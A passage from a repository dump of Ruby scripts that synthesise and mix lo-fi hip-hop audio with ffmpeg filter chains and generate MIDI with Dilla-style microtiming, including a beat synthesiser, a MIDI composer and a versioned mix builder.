[0,4,8,12] : [0,2,4,6,8,10,12,14]\n    hats = b.even? ? [] : [0,4,8,12] if sec == :break\n    hats.each_with_index do |s, i|\n      jitter = [-0.004, 0.000, 0.003, 0.006][(b + s) % 4]\n      events[:hat] &lt;&lt; [base + s * step + (i.odd? ? 0.018 : 0.002) + jitter, den * 0.52]\n    end\n\n    events[:open] &lt;&lt; [base + 6 * step + 0.008, den * 0.30] if ![:intro, :break].include?(sec) &amp;&amp; [1,3].include?(b % 4)\n\n    if b &gt;= 2 &amp;&amp; b % 4 == 0\n      chord = rotate_chord(PAD_CHORDS[(b / 4) % PAD_CHORDS.length], b)\n      sustain = 3.2 + (b % 3) * 0.9\n      events[:pad] &lt;&lt; [base + 0.03, den, chord, sustain]\n    end\n\n    if b &gt;= 2 &amp;&amp; b % 2 == 0\n      chord = rotate_chord(PAD_CHORDS[(b / 4 + 3) % PAD_CHORDS.length], b)\n      events[:chop] &lt;&lt; [base + [1,2,5,9,13][b % 5] * step + [-0.022, 0.0, 0.017][b % 3], den, chord]\n    end\n\n    events[:riser] &lt;&lt; [base + 2 * beat, 0.13] if [7,23,39,47,63,71,87].include?(b)\n    events[:stop] &lt;&lt; [base + 3 * beat, 0.18] if [23,39,47,63,71,87].include?(b)\n  end\n  events\nend\n\ndef pad_expression(t, v, chord, sustain, bar_index)\n  parts = chord.each_with_index.map do |f, i|\n    # Five-layer analog voice: saw-ish fundamental, detuned saw, triangle-ish partial, sine, quiet square-ish odd partial.\n    drift = 1.0 + ((i - 2) * 0.0017) + (Math.sin((bar_index + i) * 1.7) * 0.0009)\n    spike = (bar_index % 11 == i ? (ANALOG[:bad_tune_spike_cents] / 1200.0) : 0.0)\n    ff = f * drift * (2.0 ** spike)\n    [\n      \"sin(2*PI*#{ff}*(t-#{t}))\",\n      \"0.55*sin(2*PI*#{ff * 1.004}*(t-#{t}))\",\n      \"0.32*sin(2*PI*#{ff * 2.005}*(t-#{t}))\",\n      \"0.20*sin(2*PI*#{ff * 0.5}*(t-#{t}))\",\n      \"0.11*sin(2*PI*#{ff * 3.0}*(t-#{t}))\"\n    ].join(\"+\")\n  end.join(\"+\")\n  # Slow envelope, breathing tremolo, capacitor-like lag by filtering in ffmpeg later.\n  \"between(t,#{t},#{t+sustain})*#{v}*0.035*exp(-(t-#{t})*0.26)*(0.78+0.22*sin(2*PI*0.23*(t-#{t})))*(#{parts})\"\nend\n\ndef render(dest, bars: BARS)\n  beat = 60.0 / BPM\n  dur = (bars * beat * 4).round(3)\n  ev = schedule(bars)\n\n  kick = ev[:kick].map { |t, v| \"between(t,#{t},#{t+0.42})*#{v}*0.95*exp(-(t-#{t})*7.4)*sin(2*PI*(45+115*exp(-20*(t-#{t})))*(t-#{t}))\" }\n  bass = ev[:bass].map { |t, v, f| \"between(t,#{t},#{t+0.46})*#{v}*0.42*exp(-(t-#{t})*3.2)*sin(2*PI*#{f}*(t-#{t}))\" }\n  snare = ev[:snare].map { |t, v| \"between(t,#{t},#{t+0.18})*#{v}*0.60*exp(-(t-#{t})*23)\" }\n  ghost = ev[:ghost].map { |t, v| \"between(t,#{t},#{t+0.09})*#{v}*exp(-(t-#{t})*35)\" }\n  hat = ev[:hat].map { |t, v| \"between(t,#{t},#{t+0.06})*#{v}*exp(-(t-#{t})*78)\" }\n  open = ev[:open].map { |t, v| \"between(t,#{t},#{t+0.25})*#{v}*exp(-(t-#{t})*11)\" }\n  pad = ev[:pad].each_with_index.map { |(t, v, chord, sustain), i| pad_expression(t, v, chord, sustain, i) }\n  chop = ev[:chop].map do |t, v, chord|\n    f = chord[(t * 10).to_i % chord.length]\n    \"between(t,#{t},#{t+0.55})*#{v}*0.11*exp(-(t-#{t})*1.7)*(sin(2*PI*#{f}*(t-#{t}))+0.35*sin(2*PI*#{f*1.5}*(t-#{t})))\"\n  end\n  risers = ev[:riser].map { |t, v| \"between(t,#{t},#{t+2.0})*#{v}*((t-#{t})/2.0)^2\" }\n  stops = ev[:stop].map { |t, v| \"between(t,#{t},#{t+1.1})*#{v}*exp(-(t-#{t})*2.2)\" }\n\n  inputs = [\n    *lavfi(\"aevalsrc='#{expr(kick)}':d=#{dur}:s=#{SR}\"),\n    *lavfi(\"aevalsrc='#{expr(bass)}':d=#{dur}:s=#{SR}\"),\n    *lavfi(\"anoisesrc=color=white:r=#{SR}:amplitude=0.5:d=#{dur}\"),\n    *lavfi(\"anoisesrc=color=pink:r=#{SR}:amplitude=0.04:d=#{dur}\"),\n    *lavfi(\"aevalsrc='#{expr(pad)}':d=#{dur}:s=#{SR}\"),\n    *lavfi(\"aevalsrc='#{expr(chop)}':d=#{dur}:s=#{SR}\"),\n    *lavfi(\"aevalsrc='#{expr(risers + stops)}':d=#{dur}:s=#{SR}\")\n  ]\n\n  filter = &lt;&lt;~F\n    [0:a]aformat=channel_layouts=stereo[k];\n    [1:a]aformat=channel_layouts=stereo,lowpass=f=140[bs];\n    [2:a]aformat=channel_layouts=stereo,asplit=3[ns][nh][no];\n    [ns]volume='#{expr(snare + ghost)}':eval=frame,highpass=f=160,bandpass=f=1600:w=2600[sn];\n    [nh]volume='#{expr(hat)}':eval=frame,highpass=f=6500[hh];\n    [no]volume='#{expr(open)}':eval=frame,bandpass=f=5600:w=5200[op];\n    [4:a]aformat=channel_layouts=stereo,lowpass=f=#{ANALOG[:lowpass_hz]},aphaser=speed=0.08:decay=0.35,adelay=#{ANALOG[:chorus_delay_l_ms]}|#{ANALOG[:chorus_delay_r_ms]},aecho=0.18:0.22:120:0.22[pad];\n    [5:a]aformat=channel_layouts=stereo,highpass=f=120,lowpass=f=5000,aecho=0.18:0.22:90:0.28[chop];\n    [6:a]aformat=channel_layouts=stereo,highpass=f=900,lowpass=f=9000[fx];\n    [k][bs][sn][hh][op][pad][chop][fx]amix=inputs=8:weights=1.25 0.9 0.9 0.48 0.42 0.95 0.65 0.35:duration=longest[music];\n    [3:a]volume=#{ANALOG[:vinyl_level]},highpass=f=90,lowpass=f=8000[vinyl];\n    [music][vinyl]amix=inputs=2:weights=1 0.32:duration=first,\n      acompressor=threshold=-18dB:ratio=3.5:attack=25:release=120:makeup=2,\n      acrusher=bits=#{ANALOG[:sp_bits]}:samples=#{ANALOG[:sp_ratio].round(3)}:mix=0.22,\n      aeval='(tanh((val(0)+#{ANALOG[:tape_dc]})*1.45)-0.072)/0.87|(tanh((val(1)+#{ANALOG[:tape_dc]})*1.45)-0.072)/0.87',\n      highpass=f=30,lowpass=f=12000,equalizer=f=45:t=o:w=1.2:g=1,\n      alimiter=level_out=0.96:limit=0.92[out]\n  F\n\n  codec = File.extname(dest).downcase == \".mp3\" ? [\"-codec:a\", \"libmp3lame\", \"-b:a\", \"320k\"] : [\"-c:a\", \"pcm_s16le\"]\n  FileUtils.mkdir_p(File.dirname(dest))\n  sh! \"ffmpeg\", \"-y\", *inputs, \"-filter_complex\", filter.tr(\"\\n\", \" \"), \"-map\", \"[out]\", *codec, dest\nend\n\ndef liveset(dest, minutes)\n  bars = [(minutes.to_f * 60.0 / (60.0 / BPM * 4)).ceil, 64].max\n  render(dest, bars: bars)\nend\n\ndef clean(input, output)\n  abort \"missing input\" unless input &amp;&amp; File.exist?(input)\n  FileUtils.mkdir_p(File.dirname(output))\n  sh! \"ffmpeg\", \"-y\", \"-i\", input, \"-af\", \"highpass=f=28,lowpass=f=15500,afftdn=nf=-25,adeclick,loudnorm=I=-18:TP=-1.5:LRA=10\", \"-c:a\", \"pcm_s16le\", output\nend\n\ndef stems(root, manifest)\n  sets = []\n  Dir.glob(File.join(root, \"**\", \"*.{wav,mp3,flac,ogg,m4a}\"), File::FNM_EXTGLOB).group_by { |p| File.dirname(p) }.each do |dir, files|\n    stem_map = {}\n    files.each do |f|\n      b = File.basename(f).downcase\n      key = b.include?(\"drums\") ? \"drums\" : b.include?(\"bass\") ? \"bass\" : b.include?(\"vocals\") ? \"vocals\" : b.include?(\"other\") ? \"other\" : File.basename(f, \".*\")\n      stem_map[key] = f.sub(DIR + \"/\", \"\")\n    end\n    sets &lt;&lt; { \"name\" =&gt; File.basename(dir), \"bpm\" =&gt; BPM, \"stems\" =&gt; stem_map, \"prime_swell\" =&gt; PRIMES[sets.length % PRIMES.length] }\n  end\n  FileUtils.mkdir_p(File.dirname(manifest))\n  File.write(manifest, JSON.pretty_generate({ \"version\" =&gt; 4, \"sets\" =&gt; sets }) + \"\\n\")\n  puts \"manifest -&gt; #{manifest}\"\nend\n\ndef chords\n  PAD_CHORDS.each_with_index { |c, i| puts \"%02d %-10s %s\" % [i + 1, c[:name], c[:hz].map { |x| x.round(2) }.join(\" \")] }\nend\n\ncase ARGV.shift\nwhen \"render\", nil then render(ARGV.shift || File.join(DIR, \"analog_full.mp3\"))\nwhen \"liveset\" then liveset(ARGV.shift || File.join(DIR, \"analog_liveset.mp3\"), (ARGV.shift || 12).to_f)\nwhen \"clean\" then clean(ARGV.shift, ARGV.shift || File.join(DIR, \"samples/clean.wav\"))\nwhen \"stems\" then stems(ARGV.shift || File.join(DIR, \"samples/demucs\"), ARGV.shift || File.join(DIR, \"samples/manifest.json\"))\nwhen \"chords\" then chords\nelse puts \"render OUT.mp3 | liveset OUT.mp3 MINUTES | chords | clean IN OUT | stems ROOT MANIFEST\"\nend\n```\n\n## `dilla/dilla_hiphop.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n#\n# J Dilla \u2014 MPC-style hip-hop beat synthesized from primitives.\n# 86 BPM \u00d7 8 bars. Off-grid kicks, snare drag, hat swing, vinyl crackle.\n#\n# Usage:  ruby dilla_hiphop.rb [out.mp3]   default: ./dilla_hiphop.mp3\n\nDIR = __dir__\nBPM  = 86\nBARS = 8\n\ndef run(label, *cmd)\n  puts \"&gt;&gt;&gt; #{label}\"\n  abort \"fail: #{label}\" unless system(*cmd.flatten.map(&amp;:to_s))\nend\n\ndef render(label, dest, inputs:, filter:, map:, args: [\"-b:a\", \"320k\"])\n  run label, \"ffmpeg\", \"-y\", *inputs,\n      \"-filter_complex\", filter.tr(\"\\n\", \" \"),\n      \"-map\", map, *args, dest\nend\n\ndef lavfi(src) = [\"-f\", \"lavfi\", \"-i\", src]\n\ndef synthesize(dest)\n  beat  = 60.0 / BPM\n  bar   = beat * 4\n  step  = beat / 4\n  total = (bar * BARS).round(3)\n\n  kick_per_bar  = Array.new(BARS) { [0, 7, 10, 14] }\n  kick_per_bar[7] = [0, 4, 7, 10, 12, 14, 15]\n\n  snare_per_bar = Array.new(BARS) { [4, 12] }\n  snare_per_bar[7] = [4, 10, 12, 14]\n\n  ghost_per_bar = Array.new(BARS) { [] }\n  ghost_per_bar[1] = [11]\n  ghost_per_bar[3] = [3, 15]\n  ghost_per_bar[5] = [11]\n\n  hat_per_bar  = Array.new(BARS) { [0, 2, 4, 6, 8, 10, 12, 14] }\n  hat_per_bar[5] = []\n  hat_per_bar[6] = [0, 4, 8, 12]\n\n  open_per_bar = Array.new(BARS) { [6] }\n  open_per_bar[7] = [6, 14]\n\n  kicks  = BARS.times.flat_map { |b| kick_per_bar[b].map  { |s| (b * bar + s * step).round(4) } }\n  snares = BARS.times.flat_map { |b| snare_per_bar[b].map { |s| (b * bar + s * step + 0.018).round(4) } }\n  ghosts = BARS.times.flat_map { |b| ghost_per_bar[b].map { |s| (b * bar + s * step + 0.018).round(4) } }\n  hats   = BARS.times.flat_map { |b|\n    hat_per_bar[b].each_with_index.map { |s, i| (b * bar + s * step + (i.odd? ? 0.012 : 0)).round(4) }\n  }\n  opens  = BARS.times.flat_map { |b| open_per_bar[b].map { |s| (b * bar + s * step).round(4) } }\n\n  kick_sig  = kicks.map  { |t| \"between(t,#{t},#{t + 0.25})*0.9*exp(-(t-#{t})*6)*sin(2*PI*(100*(t-#{t})-150*(t-#{t})*(t-#{t})))\" }.join(\"+\")\n  sub_sig   = kicks.map  { |t| \"between(t,#{t},#{t + 0.45})*0.4*exp(-(t-#{t})*3.5)*sin(2*PI*32.70*(t-#{t}))\" }.join(\"+\")\n  snr_env   = (snares.map { |t| \"between(t,#{t},#{t + 0.12})*exp(-(t-#{t})*20)\" } +\n               ghosts.map { |t| \"between(t,#{t},#{t + 0.08})*0.35*exp(-(t-#{t})*30)\" }).join(\"+\")\n  hat_env   = hats.map   { |t| \"between(t,#{t},#{t + 0.05})*exp(-(t-#{t})*60)\" }.join(\"+\")\n  opn_env   = opens.map  { |t| \"between(t,#{t},#{t + 0.2})*exp(-(t-#{t})*12)\" }.join(\"+\")\n\n  inputs = [\n    *lavfi(\"aevalsrc='#{kick_sig}':d=#{total}:s=44100\"),\n    *lavfi(\"aevalsrc='#{sub_sig}':d=#{total}:s=44100\"),\n    *lavfi(\"anoisesrc=color=white:r=44100:amplitude=0.5:d=#{total}\"),\n    *lavfi(\"anoisesrc=color=pink:r=44100:amplitude=0.04:d=#{total}\"),\n  ]\n\n  filt = &lt;&lt;~F\n    [0:a]aformat=channel_layouts=stereo,equalizer=f=60:t=o:w=1:g=3,\n         acompressor=threshold=-12dB:ratio=4:attack=1:release=60:makeup=2[kick];\n    [1:a]aformat=channel_layouts=stereo,lowpass=f=120,equalizer=f=40:t=o:w=0.8:g=4[sub];\n    [2:a]aformat=channel_layouts=stereo,asplit=3[ns][nh][no];\n    [ns]volume='(#{snr_env})*0.7':eval=frame,equalizer=f=200:t=o:w=2:g=3,bandpass=f=300:w=400[snare];\n    [nh]volume='(#{hat_env})*0.3':eval=frame,highpass=f=6000[hat];\n    [no]volume='(#{opn_env})*0.25':eval=frame,bandpass=f=5500:w=5000[open];\n    [kick][sub][snare][hat][open]amix=inputs=5:weights=1.3 0.85 0.9 0.55 0.5:duration=longest[drums];\n    [drums]acompressor=threshold=-16dB:ratio=4:attack=2:release=80:makeup=3[drums_comp];\n    [drums_comp]aeval='tanh(val(0)*1.6)/tanh(1.6)|tanh(val(1)*1.6)/tanh(1.6)'[drums_sat];\n    [drums_sat]lowpass=f=11000,equalizer=f=200:t=o:w=2:g=-2,equalizer=f=2500:t=o:w=2:g=-3[lofi];\n    [3:a]equalizer=f=4500:t=o:w=3:g=5,equalizer=f=80:t=o:w=1:g=-18,volume=0.15[crackle];\n    [lofi][crackle]amix=inputs=2:weights=1 0.4:duration=first[mixed];\n    [mixed]alimiter=level_in=1.0:level_out=0.97:limit=0.92:attack=4:release=40[out]\n  F\n\n  render \"dilla beat (#{BPM} BPM \u00d7 #{BARS} bars \u2192 #{total}s)\", dest,\n    inputs: inputs, map: \"[out]\", filter: filt\nend\n\ndest = ARGV[0] || File.join(DIR, \"dilla_hiphop.mp3\")\nsynthesize(dest)\nputs \"done -&gt; #{dest}\"\n```\n\n## `dilla/electronium.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\n# Dilla Electronium: Raymond Scott-style generative MIDI with Dilla microtiming.\n# Inspired by the public gist noted in README.md, adapted for pub4 as a safe\n# generator: no auto-install, no network, no shell renderer.\n\nbegin\n  require \"midilib\"\n  require \"midilib/sequence\"\n  require \"midilib/track\"\n  require \"midilib/consts\"\nrescue LoadError\n  warn \"midilib is required. Install it outside this script: gem install midilib\"\n  exit 69\nend\n\nmodule DillaElectronium\n  PPQN = 480\n  BPM = Integer(ENV.fetch(\"BPM\", \"86\"))\n  BARS = Integer(ENV.fetch(\"BARS\", \"32\"))\n\n  F_MINOR = [65, 67, 68, 70, 72, 73, 75].freeze\n  CHORDS = {\n    fm9: [53, 56, 60, 63, 67],\n    dbmaj9: [49, 53, 56, 60, 63],\n    eb9: [51, 55, 58, 63, 65],\n    bbm9: [46, 49, 53, 56, 60],\n    cm7b5: [48, 51, 54, 58],\n    c7alt: [48, 52, 58, 61, 63]\n  }.freeze\n  PROGRESSION = %i[fm9 dbmaj9 eb9 bbm9 cm7b5 fm9 c7alt fm9].freeze\n\n  DRUMS = {\n    kick: 36,\n    snare: 38,\n    closed_hat: 42,\n    open_hat: 46\n  }.freeze\n\n  module Groove\n    module_function\n\n    def offset_ticks(type)\n      case type\n      when :kick then rand(-5..1)\n      when :snare then rand(2..9)\n      when :hat then rand(-3..4)\n      when :bass then rand(-4..5)\n      else rand(-5..5)\n      end\n    end\n\n    def beat_to_ticks(beat, type = :melody)\n      ((beat * PPQN) + offset_ticks(type)).round.clamp(0, 1 &lt;&lt; 30)\n    end\n  end\n\n  class TrackBuilder\n    include MIDI\n\n    def initialize(sequence, name, channel)\n      @sequence = sequence\n      @track = Track.new(sequence)\n      @track.name = name\n      @sequence.tracks &lt;&lt; @track\n      @channel = channel\n    end\n\n    def note(note, start_beat, duration_beats, velocity, feel: :melody)\n      return if duration_beats &lt;= 0\n\n      start = Groove.beat_to_ticks(start_beat, feel)\n      stop = [start + (duration_beats * PPQN).round, start + 1].max\n      @track.events &lt;&lt; NoteOn.new(@channel, note, velocity.clamp(1, 127), 0, start)\n      @track.events &lt;&lt; NoteOff.new(@channel, note, 0, 0, stop)\n    end\n\n    def finish\n      @track.events.sort_by! { |event| [event.time_from_start, event.is_a?(NoteOff) ? 0 : 1] }\n      @track.recalc_times\n    end\n  end\n\n  class Composer\n    include MIDI\n\n    def initialize(bpm: BPM, bars: BARS)\n      @bpm = bpm\n      @bars = bars\n      @sequence = Sequence.new\n      @sequence.ppqn = PPQN\n      add_tempo_track\n    end\n\n    def write(path)\n      add_drums\n      add_bass\n      add_chords\n      add_melody\n      File.open(path, \"wb\") { |file| @sequence.write(file) }\n      path\n    end\n\n    private\n\n    def add_tempo_track\n      track = Track.new(@sequence)\n      @sequence.tracks &lt;&lt; track\n      track.events &lt;&lt; Tempo.new(Tempo.bpm_to_mpq(@bpm))\n      track.events &lt;&lt; MetaEvent.new(META_SEQ_NAME, \"Dilla Electronium\")\n      track.events &lt;&lt; MetaEvent.new(META_TIME_SIG, [4, 2, 24, 8].pack(\"cccc\"))\n    end\n\n    def add_drums\n      drums = TrackBuilder.new(@sequence, \"drums\", 9)\n      @bars.times do |bar|\n        base = bar * 4.0\n        [0.0, 1.75, 2.5, 3.5].each { |beat| drums.note(DRUMS[:kick], base + beat, 0.18, 105, feel: :kick) }\n        [1.0, 3.0].each { |beat| drums.note(DRUMS[:snare], base + beat, 0.12, 92, feel: :snare) }\n        [2.75].each { |beat| drums.note(DRUMS[:snare], base + beat, 0.08, 42, feel: :snare) } if bar.odd?\n        8.times do |step|\n          beat = base + (step * 0.5) + (step.odd? ? 0.055 : 0.0)\n          drums.note(DRUMS[:closed_hat], beat, 0.08, step.odd? ? 48 : 68, feel: :hat)\n        end\n        drums.note(DRUMS[:open_hat], base + 3.5, 0.18, 58, feel: :hat) if (bar % 4).zero?\n      end\n      drums.finish\n    end\n\n    def add_bass\n      bass = TrackBuilder.new(@sequence, \"bass\", 0)\n      chord_cycle.each_with_index do |chord_name, index|\n        root = CHORDS.fetch(chord_name).first - 12\n        start = index * 2.0\n        bass.note(root, start, 0.62, 98, feel: :bass)\n        bass.note(root + 12, start + 0.75, 0.25, 72, feel: :bass)\n        bass.note(root, start + 1.5, 0.38, 86, feel: :bass)\n      end\n      bass.finish\n    end\n\n    def add_chords\n      chords = TrackBuilder.new(@sequence, \"electric-piano\", 1)\n      chord_cycle.each_with_index do |chord_name, index|\n        CHORDS.fetch(chord_name).each_with_index do |note, voice|\n          chords.note(note + 12, index * 2.0, 1.82, 48 + (voice * 4), feel: :melody)\n        end\n      end\n      chords.finish\n    end\n\n    def add_melody\n      lead = TrackBuilder.new(@sequence, \"lead-chops\", 2)\n      note_index = 2\n      direction = 1\n      (@bars * 4).times do |step|\n        if rand &lt; 0.78\n          note = F_MINOR[note_index] + (rand &lt; 0.25 ? 12 : 0)\n          duration = [0.25, 0.5, 0.75].sample\n          lead.note(note, step * 1.0, duration, rand(62..88), feel: :melody)\n        end\n        note_index += direction * (rand &lt; 0.2 ? 2 : 1)\n        if note_index &gt;= F_MINOR.length - 1\n          note_index = F_MINOR.length - 2\n          direction = -1\n        elsif note_index &lt;= 0\n          note_index = 1\n          direction = 1\n        end\n        direction *= -1 if rand &lt; 0.18\n      end\n      lead.finish\n    end\n\n    def chord_cycle\n      repeats = ((@bars * 4.0) / (PROGRESSION.length * 2.0)).ceil\n      PROGRESSION.cycle.take(PROGRESSION.length * repeats)\n    end\n  end\nend\n\nif $PROGRAM_NAME == __FILE__\n  output = ARGV[0] || File.join(__dir__, \"dilla_electronium.mid\")\n  path = DillaElectronium::Composer.new.write(output)\n  puts \"wrote #{path}\"\nend\n```\n\n## `dilla/make.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n#\n# Sirkel Sag \u00d7 Voicemails \u2014 mix builder + sample harvester.\n#\n# Mix:\n#   ruby make.rb [v7|v8|v9|v10|v11]            default: v11\n# Sample harvest (YouTube \u2192 stems):\n#   ruby make.rb demux            6-stem demucs\n#   ruby make.rb demux  deep      6-stem + EQ sub-bands + M/S\n# Stem manifest for dilla.html sample rack:\n#   ruby make.rb stems                         scan stems/ + write manifest.json\n#   ruby make.rb stems add   [bpm]  register a new stem set\n# Long-form WAV liveset (auto-runs after every vN):\n#   ruby make.rb liveset [set] [minutes]       60-min default; LIVESET_MIN env\n# Standalone beat synthesizers (no source needed):\n#   ruby dilla_hiphop.rb [out.mp3]             86 BPM \u00d7 8 bars, lo-fi\n#   ruby techno_hate.rb [out.mp3]              142 BPM \u00d7 8 bars, distorted\n#\n# v7   Dilla \u00d7 FlyLo \u00d7 Afta-1 base, heavy master + vinyl crackle\n# v8   Dilla Drunk \u2014 sub-forward, dry vox, wobble\n# v9   Afta-1 Psychedelic Space \u2014 pitch -4st, slowed 8%, Db-min pad\n# v10  Crane Song HEDD \u2014 triode/pentode harmonic emulation, C-min pad\n# v11  Clean &amp; Soothing \u2014 2kHz pluck notch, M/S split, original-pitch vox\n\nrequire \"fileutils\"\n\nDIR         = __dir__\nBEAT        = ENV.fetch(\"BEAT\", \"/sdcard/Download/Voicemails.mp3\")\nDUR         = 146\nBPM         = 118.6\nLIVESET_MIN = (ENV[\"LIVESET_MIN\"] || 60).to_i\n\nVOCALS = {\n  processed: File.join(DIR, \"vocals_processed.wav\"),\n  precise:   File.join(DIR, \"vocals_precise.wav\"),\n  original:  File.join(DIR, \"vocals_original_pitch.wav\"),\n}.freeze\n\ndef out_path(ver)    = File.join(DIR, \"final_mix_#{ver}.mp3\")\ndef tmp(ver, name)   = \"/tmp/#{ver}_#{name}.wav\"\ndef loop_beat        = [\"-stream_loop\", \"-1\", \"-i\", BEAT, \"-t\", DUR.to_s]\ndef lavfi(src)       = [\"-f\", \"lavfi\", \"-i\", src]\ndef beat_ms(bpm)     = (60_000 / bpm).to_i\ndef dotted_8th(bpm)  = (beat_ms(bpm) * 0.75).to_i\ndef half(bpm)        = (beat_ms(bpm) * 2).to_i\n\ndef run(label, *cmd)\n  puts \"&gt;&gt;&gt; #{label}\"\n  abort \"fail: #{label}\" unless system(*cmd.flatten.map(&amp;:to_s))\nend\n\ndef render(label, dest, inputs:, filter:, map:, args: [\"-ar\", \"44100\"])\n  run label, \"ffmpeg\", \"-y\", *inputs,\n      \"-filter_complex\", filter.tr(\"\\n\", \" \"),\n      \"-map\", map, *args, dest\nend\n\n# v7\ndef v7\n  ver = \"v7\"\n  beat_pre, vocals_pre, crackle = tmp(ver, \"beat\"), tmp(ver, \"vocals\"), tmp(ver, \"crackle\")\n  d8 = dotted_8th(BPM)\n\n  render \"beat: M/S + EQ + crunch + room\", beat_pre,\n    inputs: [\"-i\", BEAT], map: \"[beat_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo,volume=1.0[raw];\n      [raw]pan=stereo|c0=c0+c1|c1=c0+c1[mid];\n      [raw]pan=stereo|c0=c0-c1|c1=c1-c0[side];\n      [mid]equalizer=f=60:t=o:w=0.8:g=7,\n           equalizer=f=120:t=o:w=1:g=3,\n           equalizer=f=400:t=o:w=1:g=-2,\n           equalizer=f=2000:t=o:w=2:g=-3,\n           acompressor=threshold=-20dB:ratio=6:attack=2:release=80:makeup=3[mid_eq];\n      [side]equalizer=f=300:t=o:w=2:g=-4,\n            equalizer=f=6000:t=o:w=3:g=4,\n            acompressor=threshold=-18dB:ratio=3:attack=8:release=120:makeup=2[side_eq];\n      [mid_eq][side_eq]amix=inputs=2:weights=1.4 0.6[beat_mix];\n      [beat_mix]acrusher=level_in=1.2:level_out=0.9:bits=14:mode=log:aa=1[beat_crush];\n      [beat_crush]aecho=0.6:0.4:30|60|90:0.15|0.08|0.04[beat_room];\n      [beat_room]acompressor=threshold=-16dB:ratio=4:attack=3:release=60:makeup=2[beat_comp];\n      [beat_comp]volume=0.88[beat_out]\n    F\n\n  render \"vocals: clear + shiny + precise\", vocals_pre,\n    inputs: [\"-i\", VOCALS[:processed]], map: \"[voc_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];\n      [vraw]equalizer=f=180:t=o:w=1:g=-10,\n            equalizer=f=300:t=o:w=1:g=-4,\n            equalizer=f=900:t=o:w=1.5:g=2,\n            equalizer=f=2500:t=o:w=2:g=5,\n            equalizer=f=5000:t=o:w=2:g=4,\n            equalizer=f=10000:t=o:w=3:g=5,\n            equalizer=f=16000:t=o:w=3:g=4[voc_eq];\n      [voc_eq]acompressor=threshold=-16dB:ratio=2.5:attack=5:release=80:makeup=5[voc_comp];\n      [voc_comp]asplit=4[va][vb][vc][vd];\n      [va]volume=1.0[voc_dry];\n      [vb]aecho=0.7:0.6:350|700:0.3|0.12,\n          equalizer=f=300:t=h:w=1:g=0[voc_plate];\n      [vc]adelay=#{d8}|#{d8 * 2},\n          equalizer=f=400:t=h:w=1:g=0[voc_ping];\n      [vd]chorus=0.5:0.9:20|25:0.1|0.08:0.15|0.2:1.0|1.0[voc_shimmer];\n      [voc_dry][voc_plate][voc_ping][voc_shimmer]amix=inputs=4:weights=1.4 0.4 0.35 0.5[voc_wet];\n      [voc_wet]volume=1.35[voc_out]\n    F\n\n  render \"crackle: vinyl surface noise\", crackle,\n    inputs: lavfi(\"anoisesrc=r=44100:color=pink:amplitude=0.025:d=300\"),\n    map: \"[crack_out]\", filter: &lt;&lt;~F\n      [0:a]equalizer=f=3000:t=o:w=3:g=5,\n           equalizer=f=80:t=o:w=1:g=-15,\n           volume=0.18[crack_out]\n    F\n\n  render \"master: triple-comp + tape sat + limit\", out_path(ver),\n    inputs: [\"-i\", beat_pre, \"-i\", vocals_pre, \"-i\", crackle],\n    map: \"[out]\", args: [\"-b:a\", \"320k\"], filter: &lt;&lt;~F\n      [0:a]volume=0.82[b];\n      [1:a]volume=1.25[v];\n      [2:a]volume=0.22[c];\n      [b][v][c]amix=inputs=3:duration=first:weights=1 1.25 0.22[raw_mix];\n      [raw_mix]acompressor=threshold=-22dB:ratio=3:attack=5:release=120:makeup=3[comp_low];\n      [comp_low]acompressor=threshold=-12dB:ratio=5:attack=2:release=60:makeup=3[comp_mid];\n      [comp_mid]acompressor=threshold=-6dB:ratio=10:attack=1:release=30:makeup=2[comp_hi];\n      [comp_hi]equalizer=f=55:t=o:w=0.7:g=5,\n                equalizer=f=160:t=o:w=1:g=2,\n                equalizer=f=500:t=o:w=1.5:g=-2,\n                equalizer=f=3000:t=o:w=2:g=-1,\n                equalizer=f=10000:t=o:w=2:g=3[master_eq];\n      [master_eq]aeval='tanh(val(0)*2.5)/tanh(2.5)|tanh(val(1)*2.5)/tanh(2.5)'[tape_sat];\n      [tape_sat]aecho=0.3:0.2:18:0.06[air];\n      [air]alimiter=level_in=1.0:level_out=0.98:limit=0.92:attack=3:release=25:level=disabled[limited];\n      [limited]volume=0.96[out]\n    F\nend\n\n# v8\ndef v8\n  ver = \"v8\"\n  beat_pre, vocals_pre, crackle = tmp(ver, \"beat\"), tmp(ver, \"vocals\"), tmp(ver, \"crackle\")\n\n  render \"beat: sub focus + drunk wobble\", beat_pre,\n    inputs: loop_beat, map: \"[beat_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];\n      [raw]equalizer=f=55:t=o:w=0.7:g=9,\n           equalizer=f=120:t=o:w=1:g=4,\n           equalizer=f=350:t=o:w=1.5:g=-6,\n           equalizer=f=1000:t=o:w=2:g=-8,\n           equalizer=f=4000:t=o:w=2:g=-5,\n           equalizer=f=10000:t=o:w=3:g=-4[sub_heavy];\n      [sub_heavy]acompressor=threshold=-18dB:ratio=8:attack=1:release=40:makeup=4[beat_comp];\n      [beat_comp]tremolo=f=0.4:d=0.04[beat_wobble];\n      [beat_wobble]acrusher=level_in=1.1:level_out=0.85:bits=16:mode=log:aa=1[beat_grit];\n      [beat_grit]volume=0.75[beat_out]\n    F\n\n  render \"vocals: dry + tight + present\", vocals_pre,\n    inputs: [\"-i\", VOCALS[:precise]], map: \"[voc_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];\n      [vraw]equalizer=f=200:t=o:w=1:g=-10,\n            equalizer=f=1200:t=o:w=2:g=3,\n            equalizer=f=3000:t=o:w=2:g=6,\n            equalizer=f=6000:t=o:w=2:g=4,\n            equalizer=f=12000:t=o:w=3:g=3[voc_eq];\n      [voc_eq]acompressor=threshold=-18dB:ratio=4:attack=3:release=60:makeup=6[voc_comp];\n      [voc_comp]asplit=2[vd][vr];\n      [vd]volume=1.0[voc_dry];\n      [vr]aecho=0.5:0.3:80|160:0.12|0.05[voc_tiny_room];\n      [voc_dry][voc_tiny_room]amix=inputs=2:weights=1.0 0.3[voc_out]\n    F\n\n  render \"crackle: heavy vinyl\", crackle,\n    inputs: lavfi(\"anoisesrc=r=44100:color=pink:amplitude=0.05:d=#{DUR}\"),\n    map: \"[crack_out]\", filter: 